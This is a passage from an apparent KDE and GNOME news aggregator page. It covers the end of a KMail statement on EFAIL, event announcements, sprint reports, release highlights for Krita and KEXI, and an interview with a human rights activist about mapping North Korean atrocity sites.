    Therefore, we have not changed the default settings for this in KMail at this point. The reason is because compromised and thus revoked keys seem to be the more common concern than an elaborate targeted attack that would employ CRL or OCSP as an exfiltration channel (if possible at all). You'll find the corresponding settings for the CRL and OCSP usage under Settings > Configure KMail > Security > S/MIME Validation should you want to review or change them.

    Conclusion

    Research in email client and email cryptography security is very much appreciated and badly needed, considering how prevalent email is in our daily communication. As the results show, S/MIME is showing its age and is in need of conceptual improvements. Also, EFAIL again highlights the dangers to privacy caused by HTML emails with external references. Most importantly, this shows that your emails are well-protected by KMail and GnuPG, and there is certainly no reason to panic and stop using email encryption.

  • Akademy 2019 Call for Hosts (KDE)

    The organization of this year's Akademy is in full swing: the official conference program is out, we have had an insightful interview with one of the keynote speakers, another is coming soon, and attendees are already booking flights and accommodation. The #akademy IRC channel on Freenode and the Telegram group are buzzing with messages, advice and recommendations.

    That said, it's not too early to start planning for Akademy 2019!

    In fact, we are now opening the Akademy 2019 Call for Hosts, and looking for a vibrant spot and an enthusiastic crew that will host us.

    Would you like to bring Akademy, the biggest KDE event, to your country? Read on to find out how to apply!



    In 2005, Akademy took place in beautiful Málaga, Spain. Photo by Paolo Trabbatoni.

    A Bit About Akademy


    The venue of Akademy 2014 in Brno, Czech Republic.
    Photo by Kevin Funk.

    Akademy is KDE's annual get-together where our creativity, productivity and community-bonding reach their peak. Developers, users, translators, students, artists, writers - pretty much anyone who has been involved with KDE - will join Akademy to participate and learn. Contents will range from keynote speeches and two days of dual track talks by the FOSS community, to workshops and Birds of a Feather (BoF) sessions where we plot the future of the project.

    The first day serves as a welcoming event. The next two days cover the keynote speakers and other talks. The remaining days are used for BoF sessions, intensive coding and workshops for smaller groups of 10 to 30 people. One of the workshop days is reserved for a day trip, so the attendees can see the local tourist attractions.

    What You Get as a Host

    Hosting Akademy is a great way to contribute to a movement of global collaboration. You get a chance to host one of the world's largest FOSS communities with contributors from across the globe, and witness a wonderful week of intercultural collaboration in your home town.

    You'll get significant exposure to the Free Software community, and develop an understanding of how large projects operate. It is a great opportunity for the local university students, professors, technology enthusiasts and professionals to try their hand at something new.

    What We Need from a Host


    Ten years ago we gathered in Sint-Katelijne-Waver,
    Belgium for this cool group photo.

    Akademy requires a location close to an international airport, with an appropriate conference venue that is easy to reach. Organizing Akademy is a demanding task, but you’ll be guided along the entire process by people who’ve been doing it for years. Nevertheless, the local team should be prepared to invest a considerable amount of time into organizing Akademy.

    For detailed information, please see the Call for Hosts. Questions and applications should be addressed to the Board of KDE e.V. or the Akademy Team.

    Please indicate your interest in hosting Akademy to the Board of KDE e.V. by June 15st.
    Full applications will be accepted until 15th July.

    We look forward to your ideas, and can't wait to have fun at Akademy 2019 in your city!

    Dot Categories:

  • Plasma Sprint in Berlin (KDE)

    Last month the developers of Plasma, KDE's featureful, flexible and Free desktop environment, held a sprint in Berlin, Germany. The developers gathered to discuss the forthcoming 5.13 release and future development of Plasma. Of course, they didn't just sit and chat - a lot of coding got done, too.

    During the sprint, the Plasma team was joined by guests from Qt and Sway WM. Discussion topics included sharing Wayland protocols, input methods, Plasma Browser Integration, tablet mode for Plasma's shell, porting KControl modules to QtQuick, and last but not least, the best beer in Berlin.



    Plasma Team Sprinting

    Constructive Discussions with SwayWM - Check!

    The effort to port Plasma to work on Wayland rather than X continues at a fast pace. Wayland protocols define how applications interact with the display, including tasks essential to Plasma such as declaring which "window" is really a panel. These protocols have to be defined by the Plasma team and preferably standardized with other users of the Linux desktop.

    One newcomer to the field is SwayWM - a Wayland version of the i3 window manager. Drew DeVault, the lead developer of the project, joined our Plasma sprint to discuss where Wayland procotols could be shared. The team looked at their Layer Protocol, which covers much of the work of the current plasmashell protocol. We found that this protocol contains some nice ideas and suggested some improvements for the SwayWM developers.

    The Plasma Output Management Protocol was also discussed. This protocol defines how external monitors are used, and Sway currently just reloads configuration files as needed. The team will consider this solution if the need for such a protocol arises. Protocols for Remote Access were compared and reviewed along with Pipewire as systems for managing audio and video. Drew wrote a blog post with more information on this topic.



    Plasma Team Sprinting

    Exciting Collaboration with Qt - Check!

    Shawn Rutledge, the lead developer of Qt's new input stack, also joined us for a few days of the sprint. Together, we reviewed the new API and looked at how some of the unique use-cases of Plasma would work with it. The conclusion was that "some parts, including complex drag-and-drop actions, went surprisingly smoothly".

    A bunch of design changes were suggested and improvements submitted. Working with Qt developers at this early stage is a great win for both projects, as it saves KDE developers a lot of time when they come to use the new features, while the Qt world gets a nicer result.



    Thanks to Endocode for hosting us in central Berlin.

    Improved Plasma Browser Integration - Check!

    Plasma Browser Integration is a fun new feature that will be shipped with Plasma 5.13 next month.

    It means Firefox and Chrome/Chromium will use Plasma's file transfer widget for downloads and native Plasma notifications for browser notifications. Moreover, media controls will work with the task manager.

    The browser extensions were tidied up, translations fixed, and accounts on the relevant browser store websites set up. Another decision made at the sprint was that we have a collective duty to make sure KDE's new web browser Falkon is at feature-parity in terms of Plasma integration.



    Plasma running on a Pinebook

    Plasma on Pinebook and Tablet Mode - Check!

    The team continued to work on convergence with other form factors - in other words, on making Plasma run seamlessly on a variety of devices, both desktop and mobile. Bhushan worked on Plasma Mobile images for devices which supports upstream kernel, which is essential for security and more up-to-date system on mobile devices.

    Rohan worked on making Plasma run smoothly and with all Free drivers on the low-end Pinebook laptop. This goes to show that Plasma can function as a lightweight desktop environment without losing the features.

    Lastly, Marco managed to get Plasma working on a convertible laptop with support for switching into tablet mode, illustrating how we can actively shift between form factors.



    Presenting to FSFE members

    Talks, Burritos, and Beer - Check!

    Throughout the week, we also gave talks to our host company Endocode who kindly lent us their central Berlin offices, complete with a fridge full of alcohol-free beer.

    We also hosted an evening meetup for the local group of Free Software Foundation Europe members and gave some talks over burritos.

    Special thanks to long-term KDE contributor Mirko of Endocode, who impressed us with his multi-monitor multi-activity high-definition display Plasma setup.

    Having checked off all the items on our to-do list, we concluded another successful Plasma sprint. Look forward to seeing the results of our work in the upcoming Plasma 5.13 release!



    Plasma Team Closing the Sprint with Fine Dining
  • Kdenlive Sprint - The Movie (KDE)

    Kdenlive is KDE's advanced video-editor. This April, members of the Kdenlive project met up for five days - from 25th to the 29th - for their spring sprint. The developers Jean-Baptiste Mardelle and Nicolas Carion, along with professional community videomakers Farid Abdelnour, Rémi Duquenne and Massimo Stella, got together at the Carrefour Numérique in Paris to push the project forward.

    This is what happened...

    The Plot

    Despite a very busy agenda, which included pitching Kdenlive to the general public, the attendees managed to work some new features into the code. For example, the next version of Kdenlive that hits your distro will include a feature that will automatically split video and audio tracks by default into separate tracks. This saves time, since the workflows for editing video and audio are substantially different, and editors often have to separate tracks to work on them individually anyway.

    The toolbar that overlays monitors got a makeover and now supports multiple layout guides. The toolbar is translucent, so you can still see what is going on in the clip, and only appears when you move the mouse to the upper right corner of the monitor. This not only looks cool (very important!), but also makes it practical, since it is invisible most of the time, not blocking your view of the clip.

    Apart from coding in new features, the team held two public sessions. First they talked with potential contributors. This had an immediate effect, as Camille took it on himself to update the project's wiki, and Elie submitted a patch which added the possibility to manage and download keyboard shortcut templates of other video editors such as Avid, Final Cut and Adobe Premiere Pro. This means an editor used to working with closed-source alternatives will immediately feel at home with Kdenlive.

    The second public event was with video-editing enthusiasts. The audience had the opportunity to see Kdenlive in action and find out more about the software, as well as talk with the developers.

    Coming to a Theatre Near You

    Apart from the incremental improvements that have already made their way into the beta versions of Kdenlive's next release, more exciting features are on the way. During the the sprint, the developers agreed on a roadmap of where they want to take Kdenlive next, and made a priority of incorporating Advanced Trimming and Single Track Transitions in the upcoming releases.

    Advanced trimming allows you to roll, ripple, slip or slide a clip between two existing ones. This lets you drop a clip onto a track and have the surrounding clips behave in different ways, cropping or displacing frames automatically according to what you want to do. With Single Track Transitions, on the other hand, you can overlap one clip onto another on the same track and apply a transition between the two, instead of having to figure out transitions across several tracks.

    More longer term goals include Multicam Editing. This comes in handy when you have filmed the same event from different angles with more than one camera. Kdenlive will help you sync up the action so you can cut from one to the other seamlessly. Another goal is to support faster renders, splitting the workload between the multiple cores most modern computers come with, as well as sending heavy workloads off to the GPU.


    This is what a multicam workflow may look like in Kdenlive.

    One final thing to look forward to is the integration of Kdenlive with other Free Software video- and audio-editing tools. The developers are looking at Blender, Natron and Ardour, as well as graphics-editing tools like GIMP, Krita and Inkscape. The plan is to incorporate their special and specific features into Kdenlive and make sure all these tools can work seamlessly together. This would mean, for example, that you could create a 3D text effect in Blender and bridge it into Kdenlive without having to go through time-consuming exports and imports. Or you could edit a sequence in Kdenlive and frameserve it to do the compositing in Natron.

    End Credits

    As with many Free Software projects, the Kdenlive team can always use more contributors. New developers can help get features incorporated sooner and bugs squashed more efficiently. Documenters and translators can help make the guides, manuals and websites more accessible to a larger audience. Join the mailing list, Telegram group, or drop by the #kdenlive channel on Freenode to find out how you, too, can help.

    You can also support Kdenlive by supporting KDE: donate and help make more sprints like this one possible.

    Kdenlive is already a very capable video-editor, but the work the team is carrying out promises to make it a world-class tool that both aficionados and professionals can use. The latest version of Kdenlive is available in many distributions, as well as in AppImage and Flatpak formats. Vincent Pinon is also working on the Windows port which is currently in a Beta stage.

    Head over to Kdenlive's download page and get editing!

    You can read more about the Kdenlive's sprint here.

  • Announcing the GNOME internship program (GNOME)
    The GNOME Foundation is proud to announce the creation of a new GNOME internship program matching strategic projects and valuable contributors, available from today to all who are interested! The goal of the GNOME internship program is to bring development towards topics that are critical to further GNOME goals. To achieve such important tasks, software engineering […]
  • The Akademy 2018 program is now available (KDE)

    Akademy 2018 organisers have published the program for the conference part of the event. This year the event will be held in Vienna, and talks will take place on the 11th and 12th of August.


    Dan Bielefeld

    On the 11th, the keynote speaker will be Dan Bielefeld, an activist working for a South Korean NGO, who will be talking about how they use technology to expose atrocities committed by the North Korean regime.

    On a slightly lighter note, Lydia Pintscher and Bhushan Shah will host a panel discussion between the KDE Community and KDE Student programs team on how to recruit new contributors; Ivana Isadora Devcic will tell us of the five ways in which release notes can be made better; Timothée Giet will try to answer the question of how to improve the experience for all kinds of media creators coming to GNU/Linux and the Plasma Desktop; and Lays Rodrigues will explain how Atelier offers a solution to control many 3D printers easily; among many other things.

    On the 12th we'll delve deep into AI assistants on the desktop with Aditya Mehra's talk on his implementation of the Mycroft AI.
    A little later, Thomas Pfeiffer will be telling us about how to carry out low-cost, low-effort user testing to improve KDE's products by using Guerilla Usability Testing; Attila Szollosi will bring us up to date on the topic of Linux on mobile with his presentation on postmarketOS; and, talking of embedded, Volker Krause will present the current state of KDE Frameworks packages for Yocto.


    VVAVE

    Of course, there will be plenty of talks about apps, from video-editing with Kdenlive, to music collating with VVAVE, and image management with DigiKam.

    The rest of the week will be taken up by BoF sessions, workshops and sprints, in which KDE community members will be working elbow-to-elbow and learning from each other, intent on building a better KDE for everybody.

    Registration for Akademy 2018 is now open, and don't forget to book your accommodation soon, as Vienna is a busy location. Besides, if you book by email and use our discount code, you will be able to get rooms close to other Akademy participants and truly enjoy this one-of-a-kind community event.

    About Akademy

    For most of the year, KDE—one of the largest free and open software communities in the world—works on-line by email, IRC, forums and mailing lists. Akademy provides all KDE contributors the opportunity to meet in person to foster social bonds, work on concrete technology issues, consider new ideas, and reinforce the innovative, dynamic culture of KDE. Akademy brings together artists, designers, developers, translators, users, writers, sponsors and many other types of KDE contributors to celebrate the achievements of the past year and help determine the direction for the next year. Hands-on sessions offer the opportunity for intense work bringing those plans to reality. The KDE Community welcomes companies building on KDE technology, and those that are looking for opportunities. For more information, please contact The Akademy Team.

    Dot Categories:

  • Students to work on improving GNOME this Summer (GNOME)
    16 students will work to improve GNOME through the Google Summer of Code program this summer. The students will work on a range of projects improving GNOME technologies and popular applications. Examples of include, a GTK4 port of Nautilus, improvements to GNOME Games , Pitivi UI polishing, GJS examples tutorials, improvements to Logs and more. […]
  • GNOME.Asia Summit 2018 Call for Papers is now open (GNOME)
    GNOME.Asia Summit 2018 invites proposals for presentations at the conference. GNOME.Asia Summit is the featured annual GNOME conference in Asia. It focuses primarily on the GNOME desktop, but also covers applications and the platform development tools. The summit brings together the GNOME community in Asia to provide a forum for users, developers, foundation leaders, governments […]
  • GNOME.Asia Summit 2018 Call for Papers is now open (GNOME)
    GNOME.Asia Summit 2018 invites proposals for presentations at the conference. GNOME.Asia Summit is the featured annual GNOME conference in Asia. It focuses primarily on the GNOME desktop, but also covers applications and the platform development tools. The summit brings together the GNOME community in Asia to provide a forum for users, developers, foundation leaders, governments […]
  • Call for GUADEC 2019 Bid Proposals (GNOME)
    The GNOME Foundation would like to invite bids for hosting GUADEC 2019. GUADEC is the biggest gathering of GNOME users and developers, which takes place in Europe every year, and you could make it happen next year! If you are interested in submitting a bid to host GUADEC 2019 in your city, please send an […]
  • Call for GUADEC 2019 Proposals (GNOME)
    The GNOME Foundation would like to invite bids for hosting GUADEC 2019. GUADEC is the biggest gathering of GNOME users and developers, which takes place in Europe every year, and you could make it happen next year! If you are interested in submitting a bid, please send an intention to bid by end of the […]
  • Kdenlive: Video Editing in France and Spain (KDE)

    The Kdenlive team, creators of KDE's non-linear video editor, will be holding their next sprint at the Carrefour Numérique in the Cité des Sciences in Paris next week.

    The sprint will run from the 25th to the 29th of April, and two days will be open to the public. On Friday, 27th of April, from 4pm to 6pm the event will be open to anyone interested in getting involved. You can meet the team and learn how you can contribute to the project. On Saturday, 28th of April at 2.45pm, there will be a public presentation. You can discover Kdenlive as used by professional editors and learn about the new features.

    Just in case you can't make it to Paris, but can get to the south of Spain: directly after the sprint, the team will fly to Seville to participate in the Libre Graphics Meeting.

    Come make movies with us!

  • GNOME.Asia Summit 2018 to be held in Taipei, Taiwan (GNOME)
    The GNOME Foundation is pleased to announce that the upcoming GNOME.Asia Summit 2018 will be hosted in Taipei, Taiwan between Aug 11 – Aug 12, followed by a local tour on Aug 13. The 2018 edition of the summit will take place at the National University of Science and Technology of Taiwan (commonly known as […]
  • GNOME.Asia Summit 2018 to be held in Taipei, Taiwan (GNOME)
    The GNOME Foundation is pleased to announce that the upcoming GNOME.Asia Summit 2018 will be hosted in Taipei, Taiwan between Aug 11 – Aug 12, followed by a local tour on Aug 13. The 2018 edition of the summit will take place at the National University of Science and Technology of Taiwan (commonly known as […]
  • System76 joins GNOME Foundation Advisory Board (GNOME)
    ORINDA, CA – April 11th, 2018 The GNOME Foundation is pleased to announce that System76, purveyor of Linux powered desktops and laptops for over 12 years, has joined the GNOME Foundation Advisory Board. The Advisory Board is a body of stakeholder organizations and companies who support the GNOME Project by providing funding and expert consultation. […]
  • GUADEC 2018 Call for Participation (GNOME)
    GUADEC, the GNOME User and Developer European Conference, is GNOME’s main annual conference. This year it is being held in Almería, Spain, and the call for papers is now open until April 29, 2018. This is a great opportunity to share your ideas with the GNOME project, as well as the wider open source community. […]
  • 5 Things to Look Forward to in Krita 4.0 (KDE)

    That Krita has become one of the most popular applications for painting among digital artists is an understatement. The great thing is that, with every new version, Krita just gets better and better. The latest release is a perfect example of that. Check out what you can look forward to in the new 4.0 version:

    1. SVG for Vector Tools

    Krita 4.0 will use SVG on vector layers by default, instead of the prior reliance on ODG. SVG is the most widely used open format for vector graphics out there. Used by "pure" vector design applications, SVG on Krita currently supports gradients and transparencies, with more effects coming soon.

    Krita 4.0 also includes an improved set of tools for editing objects created on vector layers, letting you tweak the fill, the shape, and other features of your vector elements.


    The text tool is now more reliable and more usable.

    2. New Text Tool

    The usability of the text tool has been vastly improved. The tool has been re-written to be more reliable, and has a better base for future expansion. As it also follows the SVG standard (instead of the prior ODT), it is compatible with more design applications.

    3. Python Scripting

    Krita now comes with a brand new Python scripting engine. This engine lets you write snippets of code that create and manipulate images, add dockers, entries to the menu, and much more. To get you started, the creators have included a large amount of example scripts. In Krita's Settings dialog, you can enable or disable Python plugins. Check out the manual and learn how to pythonize your Krita.

    Note that this is the first release to include scripting, so it is very much a work in progress at this stage. Be advised that some things will work, but, for those that don't... Please tell the team!

    4. New Brushes

    If there is one thing Krita is famous for, that is its wide variety of brushes. Krita 4.0 has a special surprise in that department: David Revoy, the creator of Pepper and Carrot, has added his own personal set of brushes to this version.

    5. Colorize Mask Tool

    The new Colorize Mask Tool allows you to quickly and easily fill areas of line-art images with color. How it works: you create the mask for your line-art image, and then paint a streak of color into each area. The feature will automatically and intelligently fill each region with the colors you painted in, saving you the trouble of having to paint everything by hand or using the "dumb" fill tool.

    Take a look at the online documentation to find out more about the Colorize Mask Tool.


    You can create a watercolor effect using two masked brushes.

    6. Masked Brushes

    Masked brushes are created by combining two brushes with each other in different ways. Say you have a brush in the shape of a heart, and then a soft sponge brush. If you combine them using the multiply operation, you will get a mix of both - a completely new brush!

    Check out the manual entry for Masked Brushes to learn how this feature works.

    7. Performance Improvements

    As for performance improvements, Krita now multi-threads the pixel brush engine. This means Krita is now smart enough to let each of your computer's cores calculate the dabs separately, and also have them work together. Use the performance settings to let Krita know how many cores it should use. These changes only affect the pixel brush engine for now, but the feature will later be expanded to other engines like the color smudge.

    Also, all brushes now have an Instant Preview threshold property. This speeds up a lot of smaller brushes that didn't have any performance improvement features in prior versions. Instant Preview will automatically turn on when the size of a brush changes by a certain amount.

    Both things combined make painting with Krita a more fluid and pleasurable experience.


    Okay, so that was 7 things. But the fact is that Krita has long since transcended its humble origins as a clone of other design applications, and has become the tool of choice for digital painters regardless of the platform they use.

    To learn more about all the changes included in this version, visit the complete release notes for Krita 4.0 or watch the videos embedded above.

    Want to help make Krita even better? Donate to the project!

  • Dan Bielefeld, Keynote Speaker Akademy 2018: Exposing Injustice Through the Use of Technology (KDE)


    Dan Bielefeld speaks at a Transitional Justice Working Group event.

    Dan Bielefeld is an activist that works for a South Korean NGO. Dan worked in the Washington, D.C. area training young activists in the areas of politics and journalism before going into researching atrocities committed by the North Korean regime. He is currently the Technical Director of the Transitional Justice Working Group and helps pinpoint the locations of mass burial and execution sites using mapping technologies.

    Dan will be delivering the opening keynote at this year's Akademy and he kindly agreed to talk to us about activism, Free Software, and the sobering things he deals with every day.

    Paul Brown: Hello Dan and thanks for agreeing to sit down with us for this interview.

    Dan Bielefeld: Thanks for the opportunity, Paul.

    Paul: You work for the the Transitional Justice Working Group, an organization that researches human rights violations of the North Korean regime, correct?

    Dan: Yes, we have a mapping project that tries to identify specific coordinates of sites with evidence related to human rights violations.

    Paul: And you were a web designer before joining the organization... I've got to ask: How does one make the transition from web designer to human rights activist?

    Dan: I was a web developer for several years before moving to Korea. When I moved here, I enrolled as a Korean language student and also spent most of my free time volunteering with North Korean human rights groups. So, unfortunately, that meant putting the tech stuff on hold for a while (except when groups wanted help with their websites).

    Paul: You are originally from the US, right?

    Dan: Yes, from Wisconsin.

    Paul: Was this a thing that preoccupied you before coming to Korea?

    Dan: I initially came on a vacation with no idea that I'd one day live and work here. In the lead-up to that trip, and especially after that trip, I sought out more information about Korea, which inevitably brought me repeatedly to the subject of North Korea.

    Most of the news about North Korea doesn't grab my attention (talking about whether to resume talking, for instance), but the situation of regular citizens really jumped out at me. For instance, it must've been in 2005 or so that I read the book The Aquariums of Pyongyang by a man who had literally grown up in a prison camp because of something his grandfather supposedly did. This just didn't seem fair to me. I had thought the gulags where only a thing of history, but I learned they still exist today.

    Paul: Wait... So people can inherit "crimes" in North Korea?

    Dan: They call it the "guilt-by-association" system. If your relative is guilty of a political crime (e.g., defected to the South during the Korean War), up to three generations may be punished.

    Paul: Wow. That is awful, but somehow I feel this is not the most awful thing I am going to hear today...

    Dan: For a long time I thought it was just North Korea, but I have since learned that this logic / punishment method is older than the division of the North and South. For a long time after the division, in the South it was hard to hold a government position if your relative was suspected of having fled to the North, for instance.

    Paul: What's your role in Transitional Justice Working Group?

    Dan: I'm the technical director, so I'm responsible for our computer systems and networks, which includes our digital security. I also manage the mapping project, and I am also building our mapping system.

    Paul: Digital security... I read that North Korea is becoming a powerhouse when it comes to electronic terrorism. How much credibility do these stories have? I mean, they seem to be technologically behind in nearly everything else.


    Dan explaining the work of the The Transitional Justice Working Group to conference attendees. Photo by David Weaver.

    Dan: This is a really interesting question and the answer is very important to my work, of course.

    Going up against great powers like the US, the North Korean leadership practices asymmetrical warfare. Guerilla warfare, terrorism, these are things that can have a big impact with relatively little resources against a stronger power.

    In digital security, offense tends to be easier than defense, so they naturally have gravitated online. Eike [Hein -- vice-president at KDE e.V.] and I went to a conference last year at which a journalist, Martyn Williams of NorthKoreaTech.org said they train thousands of hackers from an early age. The average person in North Korea doesn't have a lot of money and may not even have a computer, but those the regime identifies and trains will have used computers and received a great deal of training from an early age. They do this not only for cyber-warfare, but to earn money for the regime. For instance, the $81 million from the Bangladesh bank heist.

    Paul: Ah, yes! They did Wannacry too.

    Dan: Exactly.

    Paul: Do your systems get attacked?

    Dan: One of our staff members recently received a targeted phishing email that looked very much like a proper email from Google. The only thing not real was the actual URL it went to. Google sent her the warning about being targeted by state-sponsored attackers and recommended she join their Advanced Protection Program, which they launched last year for journalists, activists, political campaign teams, and other high-risk users.

    We of course do our best to monitor our systems, but the reality today is that you almost have to assume they're already in if they're motivated to do so.

    Paul: That is disturbing. So what do you do about that? What tools do you use to protect and monitor your systems?

    Dan: What I've learned over the last three years is that the hardest part of digital security is the human element. You can have the best software or the best system, but if the password is 123456 or is reused everywhere, you aren't really very secure.

    We try to make sure that, for instance, two-factor authentication is turned on for all online accounts that offer it -- for both work and personal accounts. You have to start with the low-hanging fruit, which is what the attackers do. No reason to burn a zero-day if the password is "password". Getting people to establish good digital hygiene habits is crucial. It's sort of like wearing a seatbelt -- using 2FA might take extra time every single time you do it, and 99.9% of the time, it's a waste of time, but you'll never really know in advance when you'll really need it, so it's best to just make it a habit and do it every time.

    Another thing, of course, is defense in layers: don't assume your firewall stopped them, etc.

    Paul: What about your infrastructure? Bringing things more to our terrain: Do you rely on Free Software or do you have a mix of Free and proprietary? Are there any tools in particular you find especially useful in your day-to-day?

    Dan: I personally love FOSS and use it as much as I can. Also, being at a small NGO with a very limited budget, it's not just the freedom I appreciate, but the price often almost makes it a necessity.

    Paul: But surely having access to the code makes it a bit more trustworthy than proprietary blackboxes. Or am I being too biased here?


    The Transitional Justice Working Group uses QGIS to locate sites of North Korean human rights violations.

    Dan: Not all of my colleagues have the same approach, but most of them use, for instance, LibreOffice everyday. For mapping, we use Postgres (with PostGIS) and QGIS, which are wonderful. QGIS is a massive project that so far we've only scratched the surface of. We also use Google Earth, which provides us with imagery of North Korea for our interviews (I realize GE is proprietary).

    I agree, though, that FOSS is more trustworthy -- not just for security, but privacy reasons. It doesn't phone home as much!

    Paul: What about your email server, firewalls, monitoring software, and so on. What is that? FLOSS or proprietary?

    Dan: Mostly FLOSS, but one exception, I must admit, is our email hosting. We do not have the resources to safely run our own email. A few years ago we selected a provider that was a partner with a FOSS project to run our own email service, but we ultimately switched to Google because that provider was slow to implement two-factor authentication.

    Paul: Getting back to North Korea's human rights violations, you are mapping burial sites and scenes of mass killings, and so on, is that right? How bad is it?

    Dan: The human right situation in North Korea is very disturbing and the sad thing is it's continued for 60+ years. The UN's Report of the Commission of Inquiry on human rights in the Democratic People’s Republic of Korea from 2014 is a must-read on the general human rights situation in North Korea. From the principal findings section (para. 24), "The commission finds that systematic, widespread and gross human rights violations have been and are being committed by the Democratic People’s Republic of Korea. In many instances, the violations found entailed crimes against humanity based on State policies."

    Their mandate looked at "violations of the right to food, the full range of violations associated with prison camps, torture and inhuman treatment, arbitrary arrest and detention, discrimination; in particular, in the systemic denial and violation of basic human rights and fundamental freedoms, violations of the freedom of expression, violations of the right to life, ... enforced disappearances, including in the form of abductions of nationals of other States," and so on.

    For our mapping project, we published our first report last year, based on interviews with 375 escapees from North Korea who have now settled in South Korea.

    They collectively told us the coordinates of 333 killing sites, usually the sites of public executions, which local residents, including school children, are encouraged and sometimes forced to watch. It should be noted that this number hasn't been consolidated to eliminate duplicates. Some people reported more than one site, others none at all, but on average, almost one site per person was reported.

    Paul: And how do you feel about the situation? I am guessing you have met North Korean refugees passing through your workplace and that you, like most of us, come from a very sheltered and even cushy Western society background. How do you feel when faced with such misery?


    Suspected killing sites per province.

    Dan: It's a good question and hard to put into words what I feel. I guess, more than anything, I find the North Korean regime so unfair. Those we met in Seoul have been through so much, but they also are the ones who overcame so many obstacles and now have landed on their feet somewhere. It's not easy for them, but usually the longer they're here, the better they end up doing.

    Continuing about the mapping project's first report findings, from those 375 interviewees, we were also told the coordinates of 47 "body sites" - we use the term "body sites" because it's more general than burial sites. Most of the sites were burial sites, but some were cremation sites or places where bodies had been dumped without being buried, or stored temporarily before being buried. This 47 figure IS consolidated / de-duped (from 52), unlike the killing sites number.

    Paul: You manually plot sites on maps, correct? You have to rely on witnesses remembering where they saw things happen...

    Dan: We manually plot them using Google Earth, yes. During the interview, our interviewer (who himself is originally from the North) looks together with the interviewee at Google Earth's satellite imagery. You have to get used to looking down at the world, which takes some getting used to for some people.

    Paul: Is there no technology that would help map these things? Some sort of... I don't know... thermal imaging from satellites?

    Dan: Our goal eventually would be to interview all 30,000-plus North Koreans who've resettled in South Korea. The more we interview, and the more data points we get, the more we can cross-reference testimonies and hopefully get a better picture of what happened at these locations. I went to the big FOSS4G (G=Geospatial) conference last year in Boston and also the Korean FOSS4G in Seoul, and got to meet people developing mapping systems on drones. The only problem right now with drones is that flying them over North Korea will probably be seen as an act of war.

    When we get enough data points, we could use machine learning to help identify more potential burial sites across all of North Korea. Something similar is being done in Mexico, for instance, where they predict burial sites of the victims of the drug wars.

    Paul: Interesting.

    Dan: Patrick Ball of the Human Rights Data Analysis Group is doing very, very good stuff.

    Paul: You mentioned that the crimes have been going on for 60 years now. What should other countries be doing to help stop the atrocities? Because it seems to me that, whatever they have been doing, hasn't worked that well...

    Dan: Very true, that. North Korea is very good at playing divide and conquer. The rivalry between the Soviets and the Chinese, for instance, allowed them to extract more aid or resources from them.

    They also try to negotiate one-on-one, they don't want to sit down to negotiate with the US and South Korea at the same time, only with one or the other, for instance. North Korea - South Korea and North Korea - US meetings are dramatically being planned right now, and it puts a lot of stress on the alliance between the US and South Korea. That's definitely a goal of North Korea's leadership. Again, divide and conquer.

    So one thing that's an absolute must is for South Korea to work very closely with other countries and for them to all hold to the same line. But there are domestic and external forces that are pulling all of the countries in other directions, of course.

    I would say to any government to always keep human rights on the agenda. This does raise the bar for negotiations, but it also indicates what's important. It also sends an important message to the people of North Korea, whom we’re trying to help.

    I also think strategies that increase the flow of information into, out of, and within North Korea are key. For instance, the BBC recently opened a Korea-language service for the whole peninsula including North Korea. And Google’s Project Loon and Facebook’s similar project with drones could theoretically bring the internet to millions.

    Paul: Do you think these much-trumpeted US - North Korean negotiations will happen? And if so, anything productive will come from them?

    Dan: I really don't know. Also, one can't talk about all this without mentioning that China is North Korea's enabler, so if you want to significantly change North Korea, you have to influence China.

    To more directly answer the question, two US presidents (one from each party) made big deals with the North Koreans but the deals fell apart. We’ll see.

    Paul: We've covered what governments can do, but what can private citizens do to help?

    Dan: One major thing is to help amplify the voices of North Korean refugees and defectors. There are a few groups in Seoul, for instance, that connect English speakers with North Korean defectors who want to learn and practice their English. There are small North Korean defector communities in cities like London, Washington DC, etc. I don't know about Berlin, but I wouldn't be surprised!

    That's at the individual-to-individual level, but also, those with expertise as software developers, could use their skills to empower North Korean refugee organizations and activists, as well as other North Korean human rights groups.

    Paul: Empower how? Give me a specific thing they can do.

    Dan: For instance, one time I invited an activist to the Korea KDE group. He and some KDE community leaders had a very interesting discussion about how to use Arduino or something similar to control a helium-filled balloon to better drop leaflets, USB sticks, etc. over North Korea.

    Paul: That is a thing? What do the Arduinos do, control some sort of rotor?

    Dan: I can't really get into specifics, but, speaking of USB sticks with foreign media and content on it, one group has a project to reuse your old USB sticks and SD cards for just that purpose.

    Paul: What do you put on the sticks and cards? "The Interview"? "Team America"?

    Dan: There are several groups doing this, which is good, since they all probably have different ideas of what North Koreans want to watch. I think South Korean TV shows, movies, and K-Pop are staples. I have heard Wikipedia also goes on to some sticks, as do interviews with North Koreans resettled in South Korea...

    Paul: Dan, thank you so much for your time.

    Dan: Thanks so much, Paul, I look forward to meeting you and the rest of the KDE gang this summer.

    Paul: I too look forward to seeing you in Vienna.

    Dan will be delivering the opening keynote at Akademy 2018 on the 11th of August. Come to Akademy and find out live how you too can fight injustice from the realms of Free Software.

    About Akademy

    For most of the year, KDE—one of the largest free and open software communities in the world—works on-line by email, IRC, forums and mailing lists. Akademy provides all KDE contributors the opportunity to meet in person to foster social bonds, work on concrete technology issues, consider new ideas, and reinforce the innovative, dynamic culture of KDE. Akademy brings together artists, designers, developers, translators, users, writers, sponsors and many other types of KDE contributors to celebrate the achievements of the past year and help determine the direction for the next year. Hands-on sessions offer the opportunity for intense work bringing those plans to reality. The KDE Community welcomes companies building on KDE technology, and those that are looking for opportunities.

    You can join us by registering for Akademy 2018. Registrations open in April. Please watch this space.

    For more information, please contact the Akademy Team.

    Dot Categories:

  • GNOME 3.28 Released (GNOME)
    The latest version of GNOME 3 has been released today. Version 3.28 contains six months of work and new features by the GNOME community and comes with many improvements and new features. One major new feature for this release is automatic downloading of operating systems in Boxes, which takes the work out of creating and […]
  • KEXI 3.1 Brings Database Application Building to Windows (KDE)

    After many months of hard work and more than 200 bugs fixed, KEXI is back with a new major release that will excite Windows and Linux users alike.

    If you are looking for a Free and open source alternative to Microsoft Access, KEXI is the right tool for you.


    KEXI offers an easy way
    to design all kinds of databases.

    As part of the Calligra suite, KEXI integrates with other office software, providing an easy, visual way to design tables, queries, and forms, build database applications, and export data into multiple formats. KEXI also offers rich data searching options, as well as support for parametrized queries, designing relational data, and storing object data (including images).

    A new version of KEXI has just been released, so if you have never tried this powerful database designer application, now is the right time.

    KEXI 3.1 is available for Linux and macOS, and after many years, for Windows as well.

    KEXI Is Back on Windows

